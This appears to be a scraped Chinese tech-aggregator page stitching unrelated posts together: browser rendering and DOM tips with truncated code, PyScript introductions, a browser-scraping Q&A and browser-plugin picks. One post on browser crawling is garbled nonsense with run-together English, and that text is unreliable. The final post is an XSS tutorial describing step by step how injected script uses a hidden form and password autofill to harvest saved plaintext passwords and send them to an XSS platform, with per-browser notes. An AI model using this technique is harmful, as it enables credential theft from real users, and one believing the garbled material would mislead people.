  DOM树的根节点就是documentElement,对应的是html标签。
  2、浏览器解析CSS代码,计算出最终的样式数据。
  对CSS代码中非法的语法它会直接忽略掉。
  解析CSS的时候会按照如下顺序来定义优先级:浏览器默认设置,用户设置,外联样式,内联样式,html中的style(嵌在标签中的行间样式)。
  3、创建完DOM树并得到最终的样式数据之后,构建一个渲染树。
  渲染树和DOM树有点像,但是有区别。DOM树完全和html标签一一对应,而渲染树会忽略不需要渲染的元素(head、display:none的元素)。
  渲染树中每一个节点都存储着对应的CSS属性。
  4、当渲染树创建完成之后,浏览器就可以根据渲染树直接把页面绘制到屏幕上。
  二、高性能Javascript DOM编程
  我们知道,用脚本进行DOM操作的代价很昂贵。把DOM和ECMAScript各自想象为一个岛屿,它们之间用收费桥梁链接,ECMAScript每次访问DOM,都要经过这座桥,并交纳“过桥费”,访问DOM的次数越多,费用也就越高。因此,推荐的做法是尽量减少过桥的次数,努力呆在ECMAScript岛上。这是比喻非常形象。那么怎样才能高效呢?
  1、DOM访问与修改
  访问DOM元素是有代价的(这里其实和ajax调后台数据接口是一样,DOM是用于操作XML和HTML文档的应用程序接口,一次能完成的事不要请求多次),通过DOM获取元素之后,修改元素的代价更是昂贵,因为它会导致浏览器重新计算页面的几何变化(重排和重绘)。
  例子:
  <p>var times = 15000;
  //code1
  console.time('time1');<p>for(var i=0; i 查看全部

  浏览器渲染页面过程描述,DOM编程技巧以及重排和重绘
  一、浏览器渲染页过程描述
  1、浏览器解析html源码,然后创建一个DOM树。
  在DOM树中,每一个HTML标签都有一个对应的节点(元素节点),并且每一个文本也都有一个对应的节点(文本节点)。
  DOM树的根节点就是documentElement,对应的是html标签。
  2、浏览器解析CSS代码,计算出最终的样式数据。
  对CSS代码中非法的语法它会直接忽略掉。
  解析CSS的时候会按照如下顺序来定义优先级:浏览器默认设置,用户设置,外联样式,内联样式,html中的style(嵌在标签中的行间样式)。
  3、创建完DOM树并得到最终的样式数据之后,构建一个渲染树。
  渲染树和DOM树有点像,但是有区别。DOM树完全和html标签一一对应,而渲染树会忽略不需要渲染的元素(head、display:none的元素)。
  渲染树中每一个节点都存储着对应的CSS属性。
  4、当渲染树创建完成之后,浏览器就可以根据渲染树直接把页面绘制到屏幕上。
  二、高性能Javascript DOM编程
  我们知道,用脚本进行DOM操作的代价很昂贵。把DOM和ECMAScript各自想象为一个岛屿,它们之间用收费桥梁链接,ECMAScript每次访问DOM,都要经过这座桥,并交纳“过桥费”,访问DOM的次数越多,费用也就越高。因此,推荐的做法是尽量减少过桥的次数,努力呆在ECMAScript岛上。这是比喻非常形象。那么怎样才能高效呢?
  1、DOM访问与修改
  访问DOM元素是有代价的(这里其实和ajax调后台数据接口是一样,DOM是用于操作XML和HTML文档的应用程序接口,一次能完成的事不要请求多次),通过DOM获取元素之后,修改元素的代价更是昂贵,因为它会导致浏览器重新计算页面的几何变化(重排和重绘)。
  例子:
  <p>var times = 15000;
  //code1
  console.time('time1');<p>for(var i=0; i

浏览器抓取网页原理是多线程负责抓取(一)

网站优化优采云 发表了文章 • 0 个评论 • 95 次浏览 • 2022-05-29 02:05 • 来自相关话题

  浏览器抓取网页原理是多线程负责抓取(一)
  浏览器抓取网页原理一般是多线程负责抓取(一般是每秒解析一次),当出现连接不通时,线程就重新抓取一个新的连接(当然,不是每个连接都是一个线程)。当然,没有专门的http协议的时候,我们也可以http协议解析抓取到的数据。
  通过http的session机制。每个用户都有自己的session。你登录时,会解锁一个保存在本地的会话到别人的user-agent中。当别人对你请求时,对方和你的session绑定,会返回用户id给你。对方不登录你也可以和他连接。但是你要先和对方连接完成,才能向他返回id给他。
  ifthemostmembersofuserstodothat,theyshouldhaveacooperativeasynchronousprocessonwhichtheirpreferencesarefree。youshouldalwaysgivethemtheconnectioneither。
  httppost/getconnectionstoapostisusedtofacebridgefeaturesiftheconnectionendswiththeusername。httpconnectionstohttpsconnectionstohttpsarenotusedtofacetransferrequests。
  so,httpuseragentrequeststothesessionaremainlyonlythroughsignalmatching。
  先通过特定的方式联系对方,连接请求要求对方同意才能返回我们想要的结果,这个过程是self-execution。如果不同意,就默认成为断开连接,那么connection就不再等待响应了,fail就gameover,所以会关闭这个url。 查看全部

  浏览器抓取网页原理是多线程负责抓取(一)
  浏览器抓取网页原理一般是多线程负责抓取(一般是每秒解析一次),当出现连接不通时,线程就重新抓取一个新的连接(当然,不是每个连接都是一个线程)。当然,没有专门的http协议的时候,我们也可以http协议解析抓取到的数据。
  通过http的session机制。每个用户都有自己的session。你登录时,会解锁一个保存在本地的会话到别人的user-agent中。当别人对你请求时,对方和你的session绑定,会返回用户id给你。对方不登录你也可以和他连接。但是你要先和对方连接完成,才能向他返回id给他。
  ifthemostmembersofuserstodothat,theyshouldhaveacooperativeasynchronousprocessonwhichtheirpreferencesarefree。youshouldalwaysgivethemtheconnectioneither。
  httppost/getconnectionstoapostisusedtofacebridgefeaturesiftheconnectionendswiththeusername。httpconnectionstohttpsconnectionstohttpsarenotusedtofacetransferrequests。
  so,httpuseragentrequeststothesessionaremainlyonlythroughsignalmatching。
  先通过特定的方式联系对方,连接请求要求对方同意才能返回我们想要的结果,这个过程是self-execution。如果不同意,就默认成为断开连接,那么connection就不再等待响应了,fail就gameover,所以会关闭这个url。

浏览器可以运行 Python 代码了?

网站优化优采云 发表了文章 • 0 个评论 • 131 次浏览 • 2022-05-24 02:47 • 来自相关话题

  浏览器可以运行 Python 代码了?
  作为 Python 程序员,很羡慕那些 Javascript 开发者,动不动就能写出令人惊艳的网页。不过今年,我们也能用 Python 写前端了:Anaconda 团队开发出了 PyScript,你可以在 HTML 里面编写和运行 Python 代码,调用 Javascript 库,换句话说,你可以用 Python 来进行整个前后端开发。什么是 PyScript
  
  PyScript[1] 是 Anaconda 团队开发的一个 Javascipt 库,可以在 HTML 标签里嵌入 Python 代码,无需服务端就可以运行 Python 代码。
  比如说,我们用 Python 在页面上显示日期,先编写一个 hello_world.html 文件,内容如下:
  
  用浏览器打开,其运行效果就是这样的:
  
  这意味着,我们可以在 HTML 中编写和运行 Python 代码, 在 PyScript 中调用 Javascript 库,并在 Python 中完成所有 Web 开发。
  PyScript 的工作原理
  
  PyScript 目前构建在 Pyodide上,Pyodide 是 CPython 到 WebAssembly/Emscripten 的端口。
  PyScript 支持在浏览器中编写和运行 Python 代码,并将在未来为其他语言提供支持。
  你可能想知道,什么是 WebAssembly?以下来自维基百科:
  WebAssembly(简称 wasm)是一个实验性的低级编程语言,应用于浏览器内的客户端。WebAssembly 是便携式的抽象语法树,被设计来提供比 JavaScript 更快的编译及执行。WebAssembly 让开发者能运用自己熟悉的编程语言(最初以C/C++作为实现目标)编译,再藉虚拟机引擎在浏览器内执行。
  WebAssembly 的开发团队分别来自 Mozilla、Google、Microsoft、Apple,代表着四大网络浏览器 Firefox、Chrome、Microsoft Edge、Safari。2017 年 11 月,以上四个浏览器都开始实验性的支持 WebAssembly。
  WebAssembly 于 2019 年 12 月 5 日成为万维网联盟(W3C)的推荐,与 HTML,CSS 和 JavaScript 一起,成为 Web 的第四种语言。
  PyScript 带来的便捷
  1、PyScript 使更多的前端开发人员能够使用 Python。
  2、更低的编程门槛。因为几乎每个人都可以访问网页浏览器,无论是在计算机上还是在手机上。这意味着不需要安装任何额外软件就可以开始编程。
  3、有了 PyScript,不再需要担心部署。PyScript 提供了“超越云端的架构转变”,一切都会网页浏览器中发生。
  如何使用 PyScript
  PyScript 使用以下三个主要组件在 html 中编写 Python:
  比如代码 todo.html[2] 中的两个标签
  :
  
  执行效果:
  
  再来看一个 repl[3] 的例子:
  
  执行效果:
   查看全部

  浏览器可以运行 Python 代码了?
  作为 Python 程序员,很羡慕那些 Javascript 开发者,动不动就能写出令人惊艳的网页。不过今年,我们也能用 Python 写前端了:Anaconda 团队开发出了 PyScript,你可以在 HTML 里面编写和运行 Python 代码,调用 Javascript 库,换句话说,你可以用 Python 来进行整个前后端开发。什么是 PyScript
  
  PyScript[1] 是 Anaconda 团队开发的一个 Javascipt 库,可以在 HTML 标签里嵌入 Python 代码,无需服务端就可以运行 Python 代码。
  比如说,我们用 Python 在页面上显示日期,先编写一个 hello_world.html 文件,内容如下:
  
  用浏览器打开,其运行效果就是这样的:
  
  这意味着,我们可以在 HTML 中编写和运行 Python 代码, 在 PyScript 中调用 Javascript 库,并在 Python 中完成所有 Web 开发。
  PyScript 的工作原理
  
  PyScript 目前构建在 Pyodide上,Pyodide 是 CPython 到 WebAssembly/Emscripten 的端口。
  PyScript 支持在浏览器中编写和运行 Python 代码,并将在未来为其他语言提供支持。
  你可能想知道,什么是 WebAssembly?以下来自维基百科:
  WebAssembly(简称 wasm)是一个实验性的低级编程语言,应用于浏览器内的客户端。WebAssembly 是便携式的抽象语法树,被设计来提供比 JavaScript 更快的编译及执行。WebAssembly 让开发者能运用自己熟悉的编程语言(最初以C/C++作为实现目标)编译,再藉虚拟机引擎在浏览器内执行。
  WebAssembly 的开发团队分别来自 Mozilla、Google、Microsoft、Apple,代表着四大网络浏览器 Firefox、Chrome、Microsoft Edge、Safari。2017 年 11 月,以上四个浏览器都开始实验性的支持 WebAssembly。
  WebAssembly 于 2019 年 12 月 5 日成为万维网联盟(W3C)的推荐,与 HTML,CSS 和 JavaScript 一起,成为 Web 的第四种语言。
  PyScript 带来的便捷
  1、PyScript 使更多的前端开发人员能够使用 Python。
  2、更低的编程门槛。因为几乎每个人都可以访问网页浏览器,无论是在计算机上还是在手机上。这意味着不需要安装任何额外软件就可以开始编程。
  3、有了 PyScript,不再需要担心部署。PyScript 提供了“超越云端的架构转变”,一切都会网页浏览器中发生。
  如何使用 PyScript
  PyScript 使用以下三个主要组件在 html 中编写 Python:
  比如代码 todo.html[2] 中的两个标签
  :
  
  执行效果:
  
  再来看一个 repl[3] 的例子:
  
  执行效果:
  

浏览器抓取网页动态html只能用webdriver,或者chrome做代理

网站优化优采云 发表了文章 • 0 个评论 • 99 次浏览 • 2022-05-18 23:03 • 来自相关话题

  浏览器抓取网页动态html只能用webdriver,或者chrome做代理
  浏览器抓取网页动态html只能用webdriver,或者chrome做代理。比如360浏览器。正常情况下会有一个360浏览器的快捷方式或者直接百度一下360浏览器就会跳转到360浏览器的相关设置里面。接着按照里面的配置,来将chrome网页抓取,然后用chrome提供的书签网址导入到自己的浏览器书签站点里面,书签网址可以自定义的。这样浏览器就能够抓取网页html,方便于自己检测并且代理变化。
  可以,用正则表达式+正则表达式,即可抓取,正则表达式就是后台去匹配特定站点,匹配之后在另一个页面接着匹配,
  学点python,好像浏览器可以做的事情,
  先搜索引擎,再webbrowser,
  请你告诉我360浏览器是怎么抓我的。
  谁教你的我也是一直没搞懂360浏览器具体干了什么?360浏览器抓取网页。看起来是一样的意思。如果是第一次打开chrome,右键点击我的账户,就可以看到第一个浏览器页面的cookies。无法取消。如果想要修改,可以用正则表达式或者re。
  你以为百度干吗的?
  卸载了360试试
  请下载安装正版chrome浏览器。用chrome的浏览器刷网页只是捕捉到你现在看到的网页,但是browser跟chrome的兼容性不是很好,一些网站对chrome有可能不兼容。一些在公司服务器也被发现篡改,浏览器上编号为ahtml的字符串被篡改会导致不安全。无奈下也只能刷机重装。 查看全部

  浏览器抓取网页动态html只能用webdriver,或者chrome做代理
  浏览器抓取网页动态html只能用webdriver,或者chrome做代理。比如360浏览器。正常情况下会有一个360浏览器的快捷方式或者直接百度一下360浏览器就会跳转到360浏览器的相关设置里面。接着按照里面的配置,来将chrome网页抓取,然后用chrome提供的书签网址导入到自己的浏览器书签站点里面,书签网址可以自定义的。这样浏览器就能够抓取网页html,方便于自己检测并且代理变化。
  可以,用正则表达式+正则表达式,即可抓取,正则表达式就是后台去匹配特定站点,匹配之后在另一个页面接着匹配,
  学点python,好像浏览器可以做的事情,
  先搜索引擎,再webbrowser,
  请你告诉我360浏览器是怎么抓我的。
  谁教你的我也是一直没搞懂360浏览器具体干了什么?360浏览器抓取网页。看起来是一样的意思。如果是第一次打开chrome,右键点击我的账户,就可以看到第一个浏览器页面的cookies。无法取消。如果想要修改,可以用正则表达式或者re。
  你以为百度干吗的?
  卸载了360试试
  请下载安装正版chrome浏览器。用chrome的浏览器刷网页只是捕捉到你现在看到的网页,但是browser跟chrome的兼容性不是很好,一些网站对chrome有可能不兼容。一些在公司服务器也被发现篡改,浏览器上编号为ahtml的字符串被篡改会导致不安全。无奈下也只能刷机重装。

真的来了!浏览器端可以直接运行Python了!

网站优化优采云 发表了文章 • 0 个评论 • 188 次浏览 • 2022-05-18 19:34 • 来自相关话题

  真的来了!浏览器端可以直接运行Python了!
  来源 | OSC开源社区(ID:oschina2013)
  知名 Python 发行版 Anaconda 开发商近日宣布了可在浏览器端运行的 Python ——PyScript。
  
  根据官方的介绍,PyScript 是一个开发框架,为开发者提供了在标准 HTML 中嵌入编写 Python 代码的能力、使用 Python 调用 JavaScript 函数库,以及创建 Python Web 应用。PyScript 旨在提供“一等公民(first-class)”的编程语言,它具有一致的风格化规则、更具表现力且更易于学习。
  PyScript 示例代码
  <p style="box-sizing: inherit;font-family: Consolas, Monaco, "Andale Mono", "Ubuntu Mono", monospace;border-width: initial;border-style: none;border-color: initial;border-radius: 0px;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;overflow: visible;word-break: normal;display: block;line-height: 1.5;margin-left: 8px;margin-right: 8px;"><br />"Hello World"<br /></p>
  
   <p style="box-sizing: inherit;font-family: Consolas, Monaco, "Andale Mono", "Ubuntu Mono", monospace;border-width: initial;border-style: none;border-color: initial;border-radius: 0px;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;overflow: visible;word-break: normal;display: block;line-height: 1.5;margin-left: 8px;margin-right: 8px;"><br />- bokeh<br />- numpy<br />- paths:<br /> - /utils.py<br /> </p>
  PyScript 核心特性
  PyScript 目标
  PyScript 基于 Pyodide 构建,Pyodide 由编译成 WebAssembly 的 CPython 3.8 解释器组成,允许在网页浏览器中运行 Python。Pyodide 可以安装来自 PyPi 的任何 Python 包。Pyodide 还包括一个外部函数接口,可以将 Python 包暴露给 JavaScript,并将浏览器 UI,包括 DOM,暴露给 Python。
   查看全部

  真的来了!浏览器端可以直接运行Python了!
  来源 | OSC开源社区(ID:oschina2013)
  知名 Python 发行版 Anaconda 开发商近日宣布了可在浏览器端运行的 Python ——PyScript。
  
  根据官方的介绍,PyScript 是一个开发框架,为开发者提供了在标准 HTML 中嵌入编写 Python 代码的能力、使用 Python 调用 JavaScript 函数库,以及创建 Python Web 应用。PyScript 旨在提供“一等公民(first-class)”的编程语言,它具有一致的风格化规则、更具表现力且更易于学习。
  PyScript 示例代码
  <p style="box-sizing: inherit;font-family: Consolas, Monaco, "Andale Mono", "Ubuntu Mono", monospace;border-width: initial;border-style: none;border-color: initial;border-radius: 0px;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;overflow: visible;word-break: normal;display: block;line-height: 1.5;margin-left: 8px;margin-right: 8px;"><br />"Hello World"<br /></p>
  
   <p style="box-sizing: inherit;font-family: Consolas, Monaco, "Andale Mono", "Ubuntu Mono", monospace;border-width: initial;border-style: none;border-color: initial;border-radius: 0px;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;overflow: visible;word-break: normal;display: block;line-height: 1.5;margin-left: 8px;margin-right: 8px;"><br />- bokeh<br />- numpy<br />- paths:<br /> - /utils.py<br /> </p>
  PyScript 核心特性
  PyScript 目标
  PyScript 基于 Pyodide 构建,Pyodide 由编译成 WebAssembly 的 CPython 3.8 解释器组成,允许在网页浏览器中运行 Python。Pyodide 可以安装来自 PyPi 的任何 Python 包。Pyodide 还包括一个外部函数接口,可以将 Python 包暴露给 JavaScript,并将浏览器 UI,包括 DOM,暴露给 Python。
  

为什么外校进不了top1高校的论文数据库?一个道理

网站优化优采云 发表了文章 • 0 个评论 • 84 次浏览 • 2022-05-15 19:05 • 来自相关话题

  为什么外校进不了top1高校的论文数据库?一个道理
  浏览器抓取网页源代码,然后与上下文库匹配,返回页面,清华北大就可以抓取网站上的很多文章,清华北大本身是高校(包括专科),包括国际权威期刊等发布的论文数据库,它使用的更是原始网页上的,而且大部分学校就跟清华北大有合作。方案就在清华北大合作的其他高校了,比如哈工大、西交等等,我仅仅是搬运工,以上请采纳。
  单纯学术类,搜索期刊论文。
  发布论文的老师引用或者复制各个高校的论文数据库,别看普通本科高校,
  不好说
  很正常的吧如果全部都有,看谁的。这样还可以避免封其他期刊。
  查一下这个论文可不可以用他的数据库、ei、sci。
  那要问谁了。只要出钱,不是普通大学大夫,论文可以随便用。
  没有影响
  要看人家有没有开论文下载功能,有,就用用;没有,就不能用。
  本科的话可以大部分清北的文章都有可能在搜索引擎(优先本校)或者学校图书馆查到,清北的资源,肯定要到他们的学校去使用。上次有在哪里看到很多清北硕博论文的话,知网就可以查到。
  为什么外校进不了top1高校的检索库?一个道理
  根据二级学科分类,可以看到其他学校开发的相关数据库和论文,本科的话清北不一定都要收,或者说不少学校不是那么重视本科, 查看全部

  为什么外校进不了top1高校的论文数据库?一个道理
  浏览器抓取网页源代码,然后与上下文库匹配,返回页面,清华北大就可以抓取网站上的很多文章,清华北大本身是高校(包括专科),包括国际权威期刊等发布的论文数据库,它使用的更是原始网页上的,而且大部分学校就跟清华北大有合作。方案就在清华北大合作的其他高校了,比如哈工大、西交等等,我仅仅是搬运工,以上请采纳。
  单纯学术类,搜索期刊论文。
  发布论文的老师引用或者复制各个高校的论文数据库,别看普通本科高校,
  不好说
  很正常的吧如果全部都有,看谁的。这样还可以避免封其他期刊。
  查一下这个论文可不可以用他的数据库、ei、sci。
  那要问谁了。只要出钱,不是普通大学大夫,论文可以随便用。
  没有影响
  要看人家有没有开论文下载功能,有,就用用;没有,就不能用。
  本科的话可以大部分清北的文章都有可能在搜索引擎(优先本校)或者学校图书馆查到,清北的资源,肯定要到他们的学校去使用。上次有在哪里看到很多清北硕博论文的话,知网就可以查到。
  为什么外校进不了top1高校的检索库?一个道理
  根据二级学科分类,可以看到其他学校开发的相关数据库和论文,本科的话清北不一定都要收,或者说不少学校不是那么重视本科,

「插件」4款浏览器神级扩展插件,效率提升80%(第五弹)

网站优化优采云 发表了文章 • 0 个评论 • 177 次浏览 • 2022-05-14 23:17 • 来自相关话题

  「插件」4款浏览器神级扩展插件,效率提升80%(第五弹)
  前言
  大家好,今天来给各位推荐下浏览器插件,在浏览器里,有哪些实用的插件。如何不用下载软件,仅仅是使用浏览器就能使用各种丰富的功能,那必然就是安装各种功能插件了,今天在这里给大家推荐4个神级插件,分分钟提高效率,如果有你喜欢的插件,欢迎来体验!!!
  
  Toby mini
  Toby mini是一款用于管理标签页的插件,由于一些工作需要或者学习需求我们经常会开启很多个浏览器的标签页,有时候开多了标题都看不到都不知道哪个是哪个了。这里推荐大家使用这款Toby插件,它可以将你未读完的标签页显示在新标签页中,这样就不用同时打开那么多页面了,想要浏览可以随时打开。
  
  图片助手
  图片助手是一款用于嗅探、分析网页图片并提供批量下载等功能及在线收藏、检索、分享服务的浏览器扩展插件。可以提供分析、提取网页中的图片并以多种筛选方式辅助用户选取下载等功能及收藏 、检索、分享等在线服务。不同于以往提供类似功能的浏览器扩展,本扩展融合了多种数据提取方式来保证在各种复杂结构页面中尽可能全面地提取到出现过的图片。
  
  Click&Clean
  Click&Clean是一款利用清理浏览器历史记录的扩展插件,当浏览器关闭时,Click&Clean就会删除你的浏览历史,防止他人跟踪你的网上活动。清除隐私数据 当您关闭浏览器:清除浏览历史记录, 清除下载历史记录;清空缓存;删除 Cookie;清除已保存的密码, 清除已保存的表单数据等等
  
  货币转换器
  货币转换器是一款可以实时计算货币汇率的浏览器扩展插件,货币转换器使用特别广泛,可以在旅行计划中使用它,交易外汇市场,股票交易所,甚至可以使用二元期权来转换世界上任何地方的货币。
  
  下载方法
  这期的插件分享就到这里的,需要的小伙伴可以在微信公众号后台回复关键词「202226」或「插件」即可获取软件下载链接,快去试试吧!祝使用愉快!
  最后想说
  大家如果在下载使用插件有问题可以留言反馈,我看到会及时处理的,以及大家需要什么插件也可以留言,希望大家可以多多支持我,帮忙分享让更多的人看到,后续还会分享更多的软件给大家。谢谢支持,如果经济允许可以打赏。不胜感激。
   查看全部

  「插件」4款浏览器神级扩展插件,效率提升80%(第五弹)
  前言
  大家好,今天来给各位推荐下浏览器插件,在浏览器里,有哪些实用的插件。如何不用下载软件,仅仅是使用浏览器就能使用各种丰富的功能,那必然就是安装各种功能插件了,今天在这里给大家推荐4个神级插件,分分钟提高效率,如果有你喜欢的插件,欢迎来体验!!!
  
  Toby mini
  Toby mini是一款用于管理标签页的插件,由于一些工作需要或者学习需求我们经常会开启很多个浏览器的标签页,有时候开多了标题都看不到都不知道哪个是哪个了。这里推荐大家使用这款Toby插件,它可以将你未读完的标签页显示在新标签页中,这样就不用同时打开那么多页面了,想要浏览可以随时打开。
  
  图片助手
  图片助手是一款用于嗅探、分析网页图片并提供批量下载等功能及在线收藏、检索、分享服务的浏览器扩展插件。可以提供分析、提取网页中的图片并以多种筛选方式辅助用户选取下载等功能及收藏 、检索、分享等在线服务。不同于以往提供类似功能的浏览器扩展,本扩展融合了多种数据提取方式来保证在各种复杂结构页面中尽可能全面地提取到出现过的图片。
  
  Click&Clean
  Click&Clean是一款利用清理浏览器历史记录的扩展插件,当浏览器关闭时,Click&Clean就会删除你的浏览历史,防止他人跟踪你的网上活动。清除隐私数据 当您关闭浏览器:清除浏览历史记录, 清除下载历史记录;清空缓存;删除 Cookie;清除已保存的密码, 清除已保存的表单数据等等
  
  货币转换器
  货币转换器是一款可以实时计算货币汇率的浏览器扩展插件,货币转换器使用特别广泛,可以在旅行计划中使用它,交易外汇市场,股票交易所,甚至可以使用二元期权来转换世界上任何地方的货币。
  
  下载方法
  这期的插件分享就到这里的,需要的小伙伴可以在微信公众号后台回复关键词「202226」或「插件」即可获取软件下载链接,快去试试吧!祝使用愉快!
  最后想说
  大家如果在下载使用插件有问题可以留言反馈,我看到会及时处理的,以及大家需要什么插件也可以留言,希望大家可以多多支持我,帮忙分享让更多的人看到,后续还会分享更多的软件给大家。谢谢支持,如果经济允许可以打赏。不胜感激。
  

Xss抓浏览器保存的明文密码

网站优化优采云 发表了文章 • 0 个评论 • 135 次浏览 • 2022-05-12 11:38 • 来自相关话题

  Xss抓浏览器保存的明文密码
  
  0x00 前言众所周知,挖src时xss是鄙视链最底端的漏洞,通常就是一个中危+50积分打发了事。这一点我很不理解,xss漏洞在我心里地位很高,因为这是常见web漏洞中唯一能打到个人机的漏洞(xss水坑,成功率很高)。
  在我平时的工作中,可以说项目的最终目标就是找一个xss。比如发现一个sql注入,首先看能不能堆叠注入update插一个script标签进去。哪怕getshell了,第一件事也是定位前端源码插script。
  不仅如此,在其他方面xss的表现也很全能:可以进后台拖数据、抓端口、抓明文密码便于后续渗透、打客户端所在的内网资产等等。
  有xss就意味着项目基本结束,而其他漏洞都做不到这一点(即使getshell了也可能没有权限改前端源码,不如有一个xss)。仅凭一个漏洞就能做到这么多事情,我认为xss在web领域是当之无愧的漏洞之王。
  好了,关于xss就先吹到这里,今天我要分享一个用xss抓明文密码的方案——获取浏览器保存的明文密码。
  0x01原理本文参考自余弦大牛几年前的文章《XSS攻击:获取浏览器记住的明文密码》。时过境迁,其中方案实现的部分细节已经有所改动,但核心原理是一样的。
  原理就是利用浏览器记住密码和表单自动填充的机制,只要密码被填充到表单里了,xss就有办法能获取表单的值,也就是明文密码。
  
  而浏览器自动填充的机制并没有那么安全,只要浏览器认为你用xss创建的表单是一个登录框,那它就会把之前保存的账密填进去,并不会进一步确认是不是同一个框,十分弱智。
  虽然距离余弦大牛公开文章也有几年了,各浏览器也做了一些防护措施,但仍没能从根本上解决问题,这套方案很大程度上还是有用武之地的。
  小黑之前也写过一篇文章是用js代码获取明文密码的——《》,新方案和旧方案没有高低之分,只是适用场景不同。两个方案的区别点如下:
  旧方案:js代码必须插在和登录框同一个页面。
  新方案:js代码不需要插在登录框,只要是和登录框同域的页面都可以抓到(部分浏览器甚至可以跨域)。但是用户必须已经用浏览器记住密码。且大部分浏览器要求https的网站才会自动填充。
  0x02 xss平台代码xss的利用方式很多都依靠xss平台,因为种种原因考虑,这套方案在xss平台上的代码我就不放出来了,只在文章里说一下代码的流程原理。
  本代码根据经典xss平台默认模块《获取浏览器记住的明文密码》 改编。流程如下:
  (1)生成一个body标签对,避免页面没有body标签的尴尬情况。(表单必须在body里才会被自动填充)
  (2)创建表单,设置样式为隐藏。
  (避免被人眼发现)(3)给表单加两个输入框,分别设置type属性为text和password。(经过实测,只要这样设置好了type,浏览器就会认为这个表单是一个登录框了)(4)监听html的点击事件,事件触发后发送表单数据到xss平台。(部分浏览器做的防御措施,只有页面被点一下之后才是真正的自动填充,且必须是真点,js代码主动调用的点击事件不算数)
  没了,就这么简单。总体代码量不大,如果大家不会写js代码,可以去给前端妹子买杯奶茶求帮写。
  0x03 各浏览器的差异这套方案本质上是利用了浏览器的逻辑漏洞,所以在不同浏览器上使用会有所差异,我这里测试了四款浏览器的最新版本,在这里分享一下:
  【谷歌浏览器】(1)只有https或127的站点会自动填充(2)需要点一下才能传输数据(3)无视autocomplete(4)不能跨域(5)不安全的https不会提示保存密码,但之前若保存过能否自动填充没有找到环境测试(6)记住密码提示明显;访问过https以后就不能用http访问了,会自动跳https,需要清除缓存的图片和文件才可以;
  【搜狗浏览器】(1)http和https都会自动填充(2)需要点一下才能传输数据(3)无视autocomplete(4)可以跨域(5)不安全的https会提示保存密码,可以自动填充(6)记住密码提示不明显;访问过https以后就不能用http访问了,会自动跳https,需要清除缓存的图片和文件才可以;
  【火狐浏览器】(1)只有https或127的站点会自动填充(2)不需要点击就能传输数据(3)无视autocomplete(4)不能跨域(5)不安全的https会提示保存密码,可以自动填充(6)记住密码提示明显;似乎没有https强制跳http的智障问题
  【edge浏览器】(1)只有https或127的站点会自动填充(2)需要点一下才能传输数据(3)无视autocomplete(4)不能跨域(5)不安全的https不会提示保存密码,但之前若保存过能否自动填充没有找到环境测试(6)记住密码提示明显;似乎没有https强制跳http的智障问题
  大家在项目中遇到没有测试过的浏览器也可以自行测试一下,测试要点如下:
  【测试指南】(1)自动填充有没有什么条件(如https)(2)需不需要点一下才能获取(一般跳转到页面时点的一下也算)(3)autocomplete(4)测试能不能跨域抓(5)不安全的https能否自动填充(6)其他
  当然也可以委托我帮忙测试,不过要收费哈哈哈。
  0x04 后记
  VX公众号:《小黑的安全笔记》没什么啦,最近好多公众号都在发新年总结,小黑的就留到农历新年再写吧。
  打游戏去啦,拜拜。
  END.
  喵,点个赞再走吧~ 查看全部

  Xss抓浏览器保存的明文密码
  
  0x00 前言众所周知,挖src时xss是鄙视链最底端的漏洞,通常就是一个中危+50积分打发了事。这一点我很不理解,xss漏洞在我心里地位很高,因为这是常见web漏洞中唯一能打到个人机的漏洞(xss水坑,成功率很高)。
  在我平时的工作中,可以说项目的最终目标就是找一个xss。比如发现一个sql注入,首先看能不能堆叠注入update插一个script标签进去。哪怕getshell了,第一件事也是定位前端源码插script。
  不仅如此,在其他方面xss的表现也很全能:可以进后台拖数据、抓端口、抓明文密码便于后续渗透、打客户端所在的内网资产等等。
  有xss就意味着项目基本结束,而其他漏洞都做不到这一点(即使getshell了也可能没有权限改前端源码,不如有一个xss)。仅凭一个漏洞就能做到这么多事情,我认为xss在web领域是当之无愧的漏洞之王。
  好了,关于xss就先吹到这里,今天我要分享一个用xss抓明文密码的方案——获取浏览器保存的明文密码。
  0x01原理本文参考自余弦大牛几年前的文章《XSS攻击:获取浏览器记住的明文密码》。时过境迁,其中方案实现的部分细节已经有所改动,但核心原理是一样的。
  原理就是利用浏览器记住密码和表单自动填充的机制,只要密码被填充到表单里了,xss就有办法能获取表单的值,也就是明文密码。
  
  而浏览器自动填充的机制并没有那么安全,只要浏览器认为你用xss创建的表单是一个登录框,那它就会把之前保存的账密填进去,并不会进一步确认是不是同一个框,十分弱智。
  虽然距离余弦大牛公开文章也有几年了,各浏览器也做了一些防护措施,但仍没能从根本上解决问题,这套方案很大程度上还是有用武之地的。
  小黑之前也写过一篇文章是用js代码获取明文密码的——《》,新方案和旧方案没有高低之分,只是适用场景不同。两个方案的区别点如下:
  旧方案:js代码必须插在和登录框同一个页面。
  新方案:js代码不需要插在登录框,只要是和登录框同域的页面都可以抓到(部分浏览器甚至可以跨域)。但是用户必须已经用浏览器记住密码。且大部分浏览器要求https的网站才会自动填充。
  0x02 xss平台代码xss的利用方式很多都依靠xss平台,因为种种原因考虑,这套方案在xss平台上的代码我就不放出来了,只在文章里说一下代码的流程原理。
  本代码根据经典xss平台默认模块《获取浏览器记住的明文密码》 改编。流程如下:
  (1)生成一个body标签对,避免页面没有body标签的尴尬情况。(表单必须在body里才会被自动填充)
  (2)创建表单,设置样式为隐藏。
  (避免被人眼发现)(3)给表单加两个输入框,分别设置type属性为text和password。(经过实测,只要这样设置好了type,浏览器就会认为这个表单是一个登录框了)(4)监听html的点击事件,事件触发后发送表单数据到xss平台。(部分浏览器做的防御措施,只有页面被点一下之后才是真正的自动填充,且必须是真点,js代码主动调用的点击事件不算数)
  没了,就这么简单。总体代码量不大,如果大家不会写js代码,可以去给前端妹子买杯奶茶求帮写。
  0x03 各浏览器的差异这套方案本质上是利用了浏览器的逻辑漏洞,所以在不同浏览器上使用会有所差异,我这里测试了四款浏览器的最新版本,在这里分享一下:
